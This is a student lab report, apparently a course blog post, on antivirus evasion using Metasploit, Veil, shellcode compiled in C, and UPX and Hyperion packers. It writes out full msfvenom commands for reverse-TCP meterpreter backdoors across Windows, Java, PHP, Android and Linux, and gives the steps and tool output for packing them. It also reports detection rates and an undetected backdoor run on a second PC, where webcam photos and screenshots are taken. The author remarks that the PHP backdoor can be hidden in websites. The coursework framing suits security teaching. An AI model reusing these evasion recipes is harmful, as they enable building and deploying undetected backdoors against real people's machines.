2019-2020-2 20174313张博《网络对抗技术》Exp3-免杀原理与实践

一、实验名称

    免杀原理与实践。


 

二、实验目的与要求

    ·理解杀软的工作原理,知道特征码检测、启发式检测和行为检测三种恶意软件检测机制,对于后两者要能够知道其侧重点并进行区分。

    ·学习免杀的原理,掌握常用的免杀手段,比如修改特征码、改变行为等,掌握恶意代码生成工具的使用。并通过实际运用各种免杀手段深化对免杀原理的认识。

    ·通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

    ·能够使用在线扫描平台检测所上传的软件是否为恶意软件,常用的检测平台有VirusTotal、Virscan等。

    ·进一步提高信息安全意识,更加注重对后门的检测和防范。


 

三、实验原理

    在这里对实验原理进行一个简单的回顾。

    3.1 恶意软件检测机制

    3.1.1 基于特征码的检测

    特征码可以说就是一段或多段数据,通过这些数据可以唯一标识一个对象,如果一个可执行文件(或其他运行的库或脚本等)包含这样的数据则被认为是恶意代码。杀软根据特征码库去识别目标对象是否为恶意代码。杀软厂商的职责就包括尽量搜集尽可能全面且最新的特征码以不断更新特征码库。不能与时俱进的特征码库自然会被淘汰掉。这种检测方式精准识别度很高,但存在一定的滞后性,必须得等到特征码库更新了某一特征码才能检测出相应的恶意代码。

    3.1.2 启发式恶意软件检测

    这种检测方式是通过观察一个软件干的事情和恶意软件干的事情是否相像,如果是的话就认定该软件是恶意软件,否则就信任对方。恶意软件典型的行为包括连接不安全的网站、开放不明端口、偷改系统文件。软件厂商会定义自己的检测模式,根据本身的签名、文件结构、运行方式等特点判断是不是“自己人”。杀软也会依据这些关键信息判断一个软件像不像是恶意软件,像的话就当作是恶意软件了。这种方法一定程度上显得不那么滞后,但也存在误杀的可能,但总得来说还是不错的,具有一定的通用性。它能检测出软件的0-day漏洞,这种漏洞就是说被人发现了但是厂商还不知道,这意味着知道漏洞的人就可以针对该漏洞肆意实施攻击。1-day漏洞是指漏洞已被厂商发现了单还没有修复。0-day漏洞更值钱。如果漏洞被厂商修复了那就不叫漏洞了。

    3.1.3 基于行为的恶意软件检测机制

 

    最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的多特征的非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。与启发式概念有重叠,但是有强调的地方,偏重于行为检测

    3.2 免杀技术

    3.2.1 改变特征码

    这种方法目的是让特征码大变样,使杀软依据之前的特征码无法识别出改变过特征码的恶意软件。

    ·对于exe文件,可以采用加壳操作,有压缩壳和加密壳两类。这里的压缩不是指简单的zip或rar压缩,而是另一种思路,有专门的平台可供实现。加密壳就是利用合适的加密算法加密exe文件但不影响软件功能,给恶意软件“洗白”。

    ·对于shellcode类的恶意代码,可以用encode进行编码,比如与一段指定的数据异或,这类似于上面的加密壳;还可以基于payload重新编译生成可执行文件。

    ·手里有源代码的话,可以用其他语言重写再编译,比如veil-evasion平台。

    3.2.2 改变行为

    ·尽量使用反弹式连接,这样更不容易被杀软发现。反弹式连接就是让被攻击者主动连接攻击者,此时攻击者肯定对此连接不设防,那就连上了。如果不是反弹式连接,被攻击者的杀软可能就把攻击者的异常连接拦下了。

    ·使用隧道技术。

    ·加密通讯技术。

    ·基于内存操作。杀软检测恶意代码是什么时候检测的呢?很多时候是往硬盘里写东西的时候,而在内存里操作,杀软基本上不会检测到,我们实验二的操作meterpreter就是这种的。

    ·减少对系统的修改。

    ·加入混淆作用的正常代码。

    3.2.3 其他思路

    ·社会工程类攻击,使目标关闭杀软。

    ·使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

    ·独辟蹊径,手工打造一种全新的恶意软件,足够创新以使得任何杀软都检测不到异常。

    3.3 免杀效果检测

    我们使用在线查毒网站来检查自己送上去的软件是不是恶意软件。有两家非常著名的网站,一家是VirusToal,一家是VirScan,两家网站检测查杀效果都很强,集成了很多权威的杀软的功能,对每一个检测目标都用所有杀软杀一遍,最后得出数据看哪些杀软杀出来了哪些没杀出来。VirusTotal是国外的网站,而VirScan是国内的网站,我在本实验中用的一直都是这个国内的扫描网站,地址是https://www.virscan.org/

 

 


 

四、实验内容

    实验前,可以在~目录下新建一个实验文件夹,专用于存放本实验的文件,输命令时都先cd到这个文件夹,这样生成的后门文件,默认都是存储到这里的,方便寻找。

    本实验的后门多是用于扫描看免杀效果,直接使用的比较少。

    4.1 使用msf编码器生成后门

    这种后门攻击思路很清晰,就是利用msfvenom生成.exe可执行文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务操作靶机。

    使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.159.130 LPORT=4313 -f exe > 4313once.exe,生成经过一次编码的后门文件4313once.exe

    上面的命令中,-p 参数用于选择一个payload,这里我们选择的还是一个tcp反弹连接,和实验二用到的是一个东西;-e参数用于选择编码方式,这里选的是x86/shikata_ga_nai;-b参数用于去掉指定的字符也就是坏字符,这里选择去掉的是‘\x00’,它是16进制下的0,表示字符串结束的含义,一段完整的shellcode要避免在中间出现0,否则只有0之前的生效,这也就相当于shellcode整段就失效了,为避免出现这种情况就得用-b参数去掉停止符。-f表示格式,这里选择的是exe格式,这正是我们要的格式。

    如上图所示,最后生成的可执行文件总大小是73802字节,其中payload占368字节。

    上图红框圈住的就是刚刚通过msf编码器生成的后门程序4313once.exe,我在virscan上对其进行扫描,下面是扫描结果。

  

    virscan对于后门的扫描结果有很多,我在本实验只截了上面两个图,没法截成一张图因为很多时候这俩图中间总是有广告并且删了是大段空白,这俩图还是合不到一起。上边是文件信息,解析了包括文件名称、文件大小、文件类型和几个哈希摘要值的诸多文件专属信息,下边是扫描结果,51%的杀软报告发现了病毒,也还有近一半的没有发现。免杀效果还算中等。

    下面,还是上面的命令,只不过在上面的命令的基础上编码十次然后改个名字,生成一个新的后门文件,看看后门的免杀效果和编码次数有没有关系,之所以要这么看是因为这种后门生成方式就是通过编码器实现的,探索一下免杀效果和编码次数有无关系也是比较值得的。输入这样的命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai i 10  -b '\x00' LHOST=192.168.159.130 LPORT=4313 -f exe > 4313tenth.exei参数就表示编码次数,后面跟数字几就编码几次,没有的话就默认一次了。

    上图是编码十次后生成后门的结果,生成的文件名是4313tenth.exe,从文件大小上看,一个是73802,一个是368,和编码一次的结果是一样的。下面进行测试:

    结果和编码一次是一样的,都是51%的查杀概率。我没有留意杀出来和没有杀出来的杀软是不是都是一样的,不过我看别人的博客,出现过查杀率不一样的情况,那么即便是查杀概率相同,那么两次查杀能查出和不能查出的杀软应该也是不一样的,或多或少都有差别。原因的话,老师在码云上的实验讲义有文字说明:杀软厂商对此类后门重点研究的是编码器本身,shikata_ga_nai是我们选择的编码方式,对于它或者其他编码方式来说,总会有解码(decoder stub)部分需要加入进exe中,只要盯住这部分就可以了。还有模板。模板就是msfvenom用来生成最终exe的那个壳子exe文件,我们生成后门用的msfvenom本身就会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征,这就会被杀软识别出来,所以一般来说杀软厂商会针对模板生成特征码,这样就一劳永逸地解决msfvenom通过这种模板生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板

    4.2 使用Msfvenom生成jar等其他类型的后门

    本步骤生成不同类型的后门,代码上都是类似的,区别除了文件名以外,就是-p参数选择的payload不一样,这是后门实施攻击的关键代码,不同的-p参数就代表不同类型的后门。

    ·生成jar类型的后门

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 x > bd4313_java.jar

    在命令行中输入上了述红色命令,然后如上图所示,成功生成jar类型的后门,大小是5312字节。我在virscan平台无法扫描该文件,点了扫描后无反应,但是在virtotal上就可以,我也不清楚为什么会有这种情况。我在本实验的其他后门都可以在virscan上扫描。

    上图是java后门的扫描结果,目前来看是这三个后门里免杀效果最好的那个。

    ·生成php后门

    输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 x> bd4313_php.php

    上图是代码生成过程和后门截图,被红框强调的紫色文件就是php后门了,它的大小是1116字节。

    从上图可以看出,这个后门免杀效果很好,virscan给出的评价是可以谨慎使用,这是对于用户来说的,那对于攻击者来说就不是谨慎使用了,而是可以大胆使用,因为很多杀软都杀不到它。php后门放到Windows上无法直接使用,毕竟它不是exe文件,要用的话可以偷偷嵌入到网站上。

    ·生成Android类型的后门

    输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 x> bd4313_android.apk

    上面被红框圈住的代码生成了同样被红框圈住的棕色文件,它就是apk后门。顾名思义它是在安卓手机上搞破坏的后门。

    测试结果如上,免杀率高达88%,效果还不错。

    ·生成Linux后门

    输入命令:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.159.130 LPORT=4313 x> bd4313_linux

    命令执行情况及后门生成结果如上。

    免杀率高达100%,网站上没有一款杀软杀出来这个后门,我看别的同学也做出了这个结果,上面的也是类似的,说明杀软厂商对移动端还有Linux的恶意代码查杀力度还不是那么高,不足以和Windows的相比。

    4.3 通过veil平台生成后门

    viel的安装过程很吃力,费时久不说还总失败,听说别人还出现了安装成功但是无法生成后门的情况,这应该是由于安装过程出现了缺陷导致的。因为veil平台涵盖的功能非常广泛,一次安装过程结束后,可能有的功能模块安好了,还有的没安好。如果安好的功能模块足以支持本实验的完成,那么就不用担心了;否则就会出现生成不了后门的情况。veil的安装没什么好说的,网上有很多教程,照着做即可。下载速度慢的话可以把WiFi换成手机热点,或者换更新源。有的步骤失败后,命令行会给出失败提示,那么就按照失败提示去弥补错误,最后可以成功。

    我安装veil成功的最后一张截图如上,可以看出也有一些失败的操作,没截图的失败操作可能更多。但是veil的功能那么多那么强大,没必要等到安装得十全十美再用,只要本实验用到的功能能够使用就够了。

    上图是veil安装成功后的主目录截图,它的默认路径是/var/lib/veil。veil安装成功后,无需cd到veil所在目录才能执行veil相关命令,只需要在命令行输入veil即可进入veil平台,无论当前在哪一个文件夹中都可以。

    如上图,输入veil后可以进入veil平台,版本是3.1.12。我们的目的是通过veil生成后门,要知道自己为什么用它。在veil主界面可以看到,可用工具有两个,分别是Evasion和Ordnance,我们在这里用的是前者。可用命令有exit、info、list、options、update和use这几个,我们要用到use命令。那么结合指定的工具和命令,我们输入use evasion,使用这个特定的工具。

    然后输入list,可用查看有哪些攻击载荷可用使用:

 

    从上面的截图可看出,evasion工具下有相当多的攻击载荷可用用,后缀py就是payload的缩写。那么多攻击载荷中我们用的是c/meterpreter/rev_tcp.py因为这是老师亲测有效的,后面做其他方法生成后门的话,可用从上图这四十多个py中任选一个,可能不是所有都能用,但除了我们选的这个,总有其他的也可以用。

    输入use c/meterpreter/rev_tcp.py后,会出现如上界面,介绍了这个py的基本信息、是否启用和一些选项设置及可用命令,我们会用到其中的generate。此时输入set LHOST 192.168.159.130和set LPORT 4313,设置反弹连接的IP地址和端口,这里自然填攻击方也就是kali的,其他后门也一样 

    设置完毕后,输入option,可以查看当前的设置都有哪些:

    可以看出这些设置都是正常的、无误的,上图第三个红框框住的就是下一步要执行的命令,生成payload。直接输入generate

 

 

 

 

 

 

 

 

 

 

 

    上图序号2表示的是输入generate命令后第一个需要填内容的地方,这里填的是后门名称;序号3表示的是后门可执行文件的存储路径:/var/lib/veil/output/compiled/veil_c_4313.exe。然后按下回车键继续:

    这就又回到了veil平台的初始界面,成功生成了后门之后,就可用直接输入exit退出veil。


    打开文件管理器,把上面找到的veil生成的后门所在的路径复制到导航框里,回车可以直接找到这个后门。

 

    virscan扫描结果如上,可以看出这个后门的免杀率也还可以,网站上半数以上的杀软都杀不出来。

    4.4 C语言调用shellcode

    这种方式可以半手工打造一个恶意软件。下面指令会生成一个c语言格式的Shellcode数组:

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.130 LPORT=4313 -f c 

  IP地址和端口号都是攻击方kali的,让被攻击方主动连接攻击方。成功后有如下结果:

    第一个红框是输入命令的情形,下面是一些描述信息,说文件大小是1457字节,攻击载荷大小是341字节。第二个红框是生成的shellcode全部内容,它以C语言数组形式呈现,数组类型是unsigned char,数组名是buf。这段shellcode的生成要花一定的时间,不会立即出现,得耐心等。

    然后在kali中建立一个后缀为.c的文件,文件名自拟,比如shellcode_4313.c。创建文件可以有多种方式,可以命令行创建也可以在图形化界面创建,命令行创建可以用touch、vim等。然后将unsigned char buf[]数组的内容赋值到这个新创建的c文件中,代码如下:

    如上,然后保存并关闭。这个文件最好是建在exp3文件夹中,也就是实验前预先创建的存放本实验所有后门的文件夹中。然后在命令行中,通过cd命令切换目录,确保切换到刚刚生成的这个c文件所在的路径,然后再执行如下命令:

i686-w64-mingw32-g++ shellcode_4313.c -o shellcode_4313.exe

  作用是把c文件编译成可执行文件,文件名自拟,但后缀得是exe。

  

   在上面的截图中,命令的执行和上面描述的是一样的,编译完成后,在c文件的旁边就会出现它经过编译的可执行文件。照例对它检测一下:

 

    4.5 为后门加壳

    ·压缩壳UPX

    通过如下命令,给之前用shellcode打造的恶意软件加上压缩壳。

 

upx shellcode_4313.exe -o ke_shellcode_4313.exe

    这个加壳操作很简单,给shellcode_4313.exe加壳,生成ke_shellcode_4313.exe。下图是压缩的过程。

    照例对其进行扫描,得到如下结果:

 

    可见,加壳后只有16%的杀软报告发现病毒,而加壳之前,20%的杀软都对shellcode_4313.exe发出了病毒警告。结合其他人的博客,可以判断出这不是偶然的,后门加壳后免杀效果普遍都会提高。

    ·加密壳Hyperion

    使用加密壳首先要正确安装这个Hyperion工具,通过命令sudo apt-get install hyperion下载和安装,成功截图如下:

 

    其默认安装路径是/use/share/windows-resources/hyperion/,如下图: 

 

    这个路径是现成的,如果不现成得自己找的话,那么可以用locate命令定位一下hyperion.exe,也能找到它的容身之所。执行Hyperion相关的命令,和veil就不一样了,veil可以在任何路径下执行veil命令进入veil控制台,像msf控制台一样;但是Hyperion不可以,想用加密壳加密东西,命令行执行命令时所在的路径必须得和hyperion.exe所在的保持一致命令才能有效执行。所以在执行加密操作前,必须得在命令行中先cd到加密壳程序所在的路径下。不仅如此,还要把被加壳的后门也移动到这个路径下。这个移动的过程我在图形化界面中试图拖过去结果失败了,因为涉及到权限问题所以最好还是在命令行里操作,在复制文件的cp命令前面加上sudo才能顺利执行:

    如上图所示,执行Sudo cp markshell.exe /usr/share/windows-resources/hyperion/markshell.exe,将后门文件复制到Hyperion所在的目录下。然后可以执行下面的命令:

 

sudo wine hyperion.exe -v ke_shellcode_4313.exe mke_shellcode_4313.exe

    上加密壳的对象是上了压缩壳的后门ke_shellcode_4313.exe,我生成的新文件命名成mke_shellcode_4313.exe,给后门上加密壳的过程需要耗费一定的时间,中间要经历三个过程,命令行出现的代码很多,让人眼花缭乱。我截取了下来:

 

b20174313@kali20174313:/usr/share/windows-resources/hyperion$ sudo wine hyperion.exe -v ke_shellcode_4313.exe mke_shellcode_4313.exe
wine: created the configuration directory '/root/.wine'
0012:err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
0012:err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
0012:err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
0012:err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
0012:err:ole:get_local_server_stream Failed: 80004002
0014:err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
0014:err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
0014:err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
0014:err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
0014:err:ole:get_local_server_stream Failed: 80004002
Could not find Wine Gecko. HTML rendering will be disabled.
Could not find Wine Gecko. HTML rendering will be disabled.
wine: configuration in L"/root/.wine" has been updated.

 -------------------------------
| Stage 1: Analyzing input file |
 -------------------------------

Opening ke_shellcode_4313.exe
Successfully copied file to memory location: 0x231088
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found 32 bit binary
Image base is 0x400000
Image size is 0x4e000

 -------------------------------
| Stage 2: Generating ASM files |
 -------------------------------

Input file size + Checksum: 0x18617
Rounded up to a multiple of key size: 0x18620
INFILE_SIZE equ 0x18620
 written to /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Generated checksum: 0x73e5e1
Generated Encryption Key:  0x3 0x0 0x0 0x1 0x0 0x0
 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
 /usr/share/windows-resources/hyperion/Src/Container/32/infile_array.inc
IMAGE_BASE equ 0x400000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_base.inc
IMAGE_SIZE equ 0x4e000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_size.inc
REAL_KEY_SIZE equ 0x6
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
REAL_KEY_RANGE equ 0x4
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
include 'logfile_disable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/logfile_select.asm
include '../../Payloads/Aes/32/aes.inc'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/aes.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/decryptexecutable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm

 --------------------------------
| Stage 3: Generating Executable |
 --------------------------------

Starting FASM with the following parameters:
Commandline: /usr/share/windows-resources/hyperion/Fasm/FASM.EXE /usr/share/windows-resources/hyperion/Src/Container/32/main.asm mke_shellcode_4313.exe
FASM Working Directory: Z:\usr\share\windows-resources\hyperion
flat assembler  version 1.71.54  (921285 kilobytes memory)
7 passes, 0.5 seconds, 116224 bytes.

Done :-)

  至此,116224字节的后门生成了,它是由压缩壳后门上了加密壳之后得到的。

    照例把它拿去扫描,得到如下结果:

 

    免杀效果和上压缩壳是一样的,并没有提升多少,这是由于试验次数较少造成的。我看了其他同学的博客,也有和我遇到的情况一样的,也有加密壳免杀效果更好的,并且比压缩壳好不少。至于加壳为什么不能彻底避免杀软检测,老师给出了一种说法:原因在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理,在每个字节后跟一个空字节,解密程序只要忽略空字节就可以了。有人测试过这种方法可以达到免检(2016)。不过没有工具可用,自己实现起来有难度,而且空间要求高。

4.6 使用其他课堂未介绍的方法

    使用veil平台,换一种新的攻击载荷生成后门完成攻击。

    先是按惯例进入veil平台,使用evasion工具,注意到此时有41个攻击载荷已经载入,可以任意选择:

    available commands中有一个叫list的命令,可以列出当前所有41个攻击载荷。

    我们从中选一个课堂上没用过的用,可能不是所有的都能顺利使用,但总有能用的,在此选择的是第28个。

    用use命令选择,可以输入攻击载荷全称,也可以输入代号。这里用use 28完成选择,然后进入选项配置环节,这里的选项较多,不再一一截图。还是按惯例设置回连的kali的IP地址和端口。

    在查看options选项无误后,使用generate命令生成后门。

    框一是后门生成的动员令;框二是在给后门命名;框三是选择创建可执行payload的方式,这里有一和二两种,我选择第一种的时候不知为何没有成功生成output文件,只生成了py后缀和rc后缀的文件。后来选择了第二种方法,才得到了正确的生成结果。

    成功的话会生成如上三个文件,其中runme.bat是我们要用来攻击目标机器的后门。对其进行扫描,得到如下结果,免杀率高达100

%

 

    4.7 通过组合应用各种技术实现杀,并在另一台运行杀软的电脑上测试后门效果

    组合应用多种技术的话,之前在加壳的时候就有体现,先是通过C语言和shellcode打造出一个后门,然后对其进行加壳,先加压缩壳,然后加加密壳,最后出来的后门结合了三种技术。虽然最后免杀率不算高,很多杀软都杀的出来,但也可以理解毕竟加壳操作由来已久,其工作原理已经被杀软厂商做过很深的研究,可以说杀软厂商对加壳后门有组够敏锐的观察力。在这里我没有用新的方法,还是沿袭这个途径,原理很清晰,还是采取C语言加shellcode和加壳操作生成后门,然后将这个后门送入到另一台电脑(在这里我向被攻击方放了两个后门,分别是加壳前和加壳后的),用生成后门的电脑控制接收后门的电脑。在攻击机的msf控制台完成一系列设置(同实验二kali操控Windows的设置方法一样)然后开启连接监听,随时准备接收来自被攻击方的回连。在被攻击主机上,在开启杀软的环境下双击运行后门,这时可以发现杀软没有阻止后门的运行,后门运行后被攻击方出现了一个不会自动关闭的命令行,攻击方出现msf控制台出现了连接成功建立的提示,这样就可以开始输入命令了。

    以上是原理概述。但是要实现的话有一定难度,因为对我来说,我的虚拟机网络连接是NAT模式的,我一直没改过这个。而在同一个局域网中,一台电脑要想连接另一台电脑的虚拟机,就像本实验中后门要做的事情一样,那么虚拟机的连接方式必须得是桥接模式,好让虚拟机作为一个独立的个体连接到这个局域网中。NAT模式下虚拟机的IP地址、子网掩码、网关都是自动配置的,用户完全可以当甩手掌柜直接用就行了,但是在桥接模式下,这些都得自行配置,并且得和主机处于同一个网段,不能瞎填。我尝试了很多操作,最后通过这篇文章终于设置成功了。

    对于VMware来说,把它安装成功后我们会看到vmnet0vmnet1vmnet8这三个虚拟网络,它们分别代表三种连接方式,分别是桥接模式、Host-Only模式和NAT模式。在第一种模式下,虚拟机在网络连接方面相当于一台实体机,直接从网络运营商获取IP地址,前提是配置正确;在第二种模式下,虚拟机之间、主机与虚拟机之间互访,虚拟机无法访问外网;第三种模式和第二种基本相同,不过它允许虚拟机访问外网,但是由于NAT服务协议对外部网络隐蔽内部网络,所以外网不能访问虚拟机,虚拟系统可以通过NAT服务器访问宿主机所在局域网中的其他真实主机,而反过来却不行。为了完成实验操作,让局域网中另一台电脑的后门回连到攻击方的kali,我就需要把虚拟机的网络连接由NAT模式改为桥接模式,同时还要在VMware的虚拟网络编辑器中把VMnet0网络桥接到物理机所用的网卡(这一步需要有管理员权限才可以成功)。然后进入kali,找到/etc/network/路径下的网络配置文件,手动设置虚拟机网络信息,要确保其和物理机处在同一个网段,毕竟是在用人家的网卡。按照上一段段末那篇引用文章里面的步骤做下来之后,虚拟机通过桥接模式联网就设置完成了。此时后门能够成功回连到kali,所有操作就和实验二一样了。下面是一些关键步骤的截图:

    ·进入msf控制台,设置攻击载荷、IP地址、监听端口等操作比较简单,这里就忽略掉了,下面直接进入到反弹连接成功建立起来的界面:

    上图是连接建立成功后,调用dir命令查看受害机当前目录下所有文件和文件夹的结果。截图的最下面两个文件,就是我放到受害机的两个后门,一个加壳了一个没有加壳。还是这个界面,下面换一个视角看看:


    左边是受害机,右边是攻击机,右边的kali此时已经成功通过控制住了左边的机器,此时左边机器的右下角腾讯电脑管家的图标还亮着,说明杀软没有阻止后门操作。右边kali在反弹连接建立成功后,我是输入了dir命令查看被攻击主机当前目录下的所有文件和文件夹,结果如上上一张图所示,可以看到,当前查看的是受害机的桌面信息(很长,我只截取了一部分)。前面提到的我放入受害机的两个后门,就在受害机桌面第一行的最后两列,可以看到那俩文件的图标就是exe的专属图标,我没有改过图标,只是受限于拍摄条件文件名字体太小看得不是很清楚。

 

    ·将两台电脑屏幕面对面,在kali中调用受害机的摄像头拍照。

    上面两张图右边是截图命令执行过程及截图保存路径,左边是在kali中查看截图的情形。照片的光线较暗,像素也不太好,可能是受制于受害机比较陈旧的硬件设备吧,再加上外面是阴天,屋内开灯又怕反光,拍了很多次,这个效果还算比较好的。

 

    ·在kali中获取受害机的屏幕截图,并给出杀软版本。

    上面右边的截图显示了获取取屏幕截图的命令及截图的生成路径。左边是在kali中查看受害机当前屏幕的截图的情形,在截图之前我特意把杀软调到了能够显示版本的页面,可以看出这是电脑管家12.15

 

    ·用杀软针对后门进行查杀

    上图是我针对受害机对后门的扫描结果进行的一个截图,我在受害机上,用杀软对两个后门所在的文件夹也就是桌面进行了扫描,可以看出加壳的后门被查出来了没加壳的后门反而没事(我发誓我没有添加过信任区,杀软的信任区什么都没有[捂脸]),由此可见压缩壳UPX的免杀效果随着杀软厂商的不断研究而日渐降低。

    虽然两个后门当中只有加壳的后门被查了出来有问题,但奇怪的是尽管杀软能发现这个应用程序有问题,可还依然放任它运行,杀软发现风险和被杀软发现的风险正在运行当中(因为没有添加信任区所以会被查出来)这两种情况出现在一起的截图非常具有讽刺性,因为我双击运行这个杀软时没有收到任何风险提醒,要不是有查杀的步骤我不会发现杀软能查出来这个后门。这是否意味着这个版本的杀软对所有恶意软件都这样?明知有问题还放任执行?比起连没加壳的后门都没检测出异常来,发现问题还无动于衷更可怕。经过后面的测试我发现并不是每次都这样,有时候运行这个加壳后门,杀软还是会及时阻止的。


五、实验体会

    (1)杀软是如何检测出恶意代码的?

    在课堂上老师讲了一些恶意代码检测方式,包括基于特征码的检测、启发式检测和基于行为的检测。在前面基础知识方面进行过简单回顾。基于特征码的检测,就是依据恶意代码中的关键特征信息,这种方式很精确,就像一个人的身份证号码、网络设备的mac地址一样是独一无二的,但就是有一定的滞后性,闻所未闻的后门特征即使再怎么看也是没有问题的,杀软肯定检测不出来。启发式检测弥补了前一种方法的滞后性,即使没见过,那只要这个程序的某些行为看起来像恶意代码,比如擅开不常用端口建立异常连接等,那么杀软就会把这个程序看作是恶意代码(软件),存在误杀的可能,但可以避免一定程度上的杀毒滞后。基于行为的检测和前一种方式类似,但有侧重点,侧重于行为监控。

    (2)免杀是做什么?

    让恶意代码对杀毒软件透明,使其可以不受干扰地执行,肆意搞破坏。

    (3)免杀的基本方法有哪些?

    免杀就要从杀软厂商的角度考虑,知己知彼才能有所准备,杀软怎么杀,恶意代码就怎么改,反过来也一样,这是一个此消彼长的循环过程。免杀就是要不断变更特征码、不断改变自身的一些异常行为、不断努力让自己看起来像正常软件(比如杀软)那样人畜无害。

    (4)开启杀软能绝对防止电脑中恶意代码吗?

    不能。杀软在不断进化和发展,恶意代码也在做同样的事,要用运动、变化和发展的辨证眼光来看待问题,不能因为开了杀软就掉以轻心,对后门的警惕性要时刻保持!

 

    本实验在实验二的基础上,提高了站位,升华了思想,革新了手段,提高了难度,致力于让实验二的操作可以不受杀软干扰正常执行。但无非还是综合运用各种现成的工具达成免杀的目的,从操作上讲并不困难,只是执行操作的前提条件不太好准备,再就是需要下功夫去学会新平台的操作方法,学会使用它。我们使用的用于打造免杀后门的平台或者方法,无一不是久经世事的百战老将,即便问世已久,随着杀软厂商多年来的努力,还是不能够做到对各种免杀套路和免杀后门一网打尽。足见技术发展带来的双刃性。由此我们需要更加警惕,因为总有些后门,即便是使用再古老的方法打造出来,也还是能够绕过一些著名杀软的检测堂而皇之地为所欲为。要想预防,就必须得保持足够高的信息安全意识和足够绿色干净的上网习惯,这对我们乃至于我们以后承担的职责来说至关重要。

 

posted @ 2020-04-02 20:07  20174313张博  阅读(609)  评论(1编辑  收藏  举报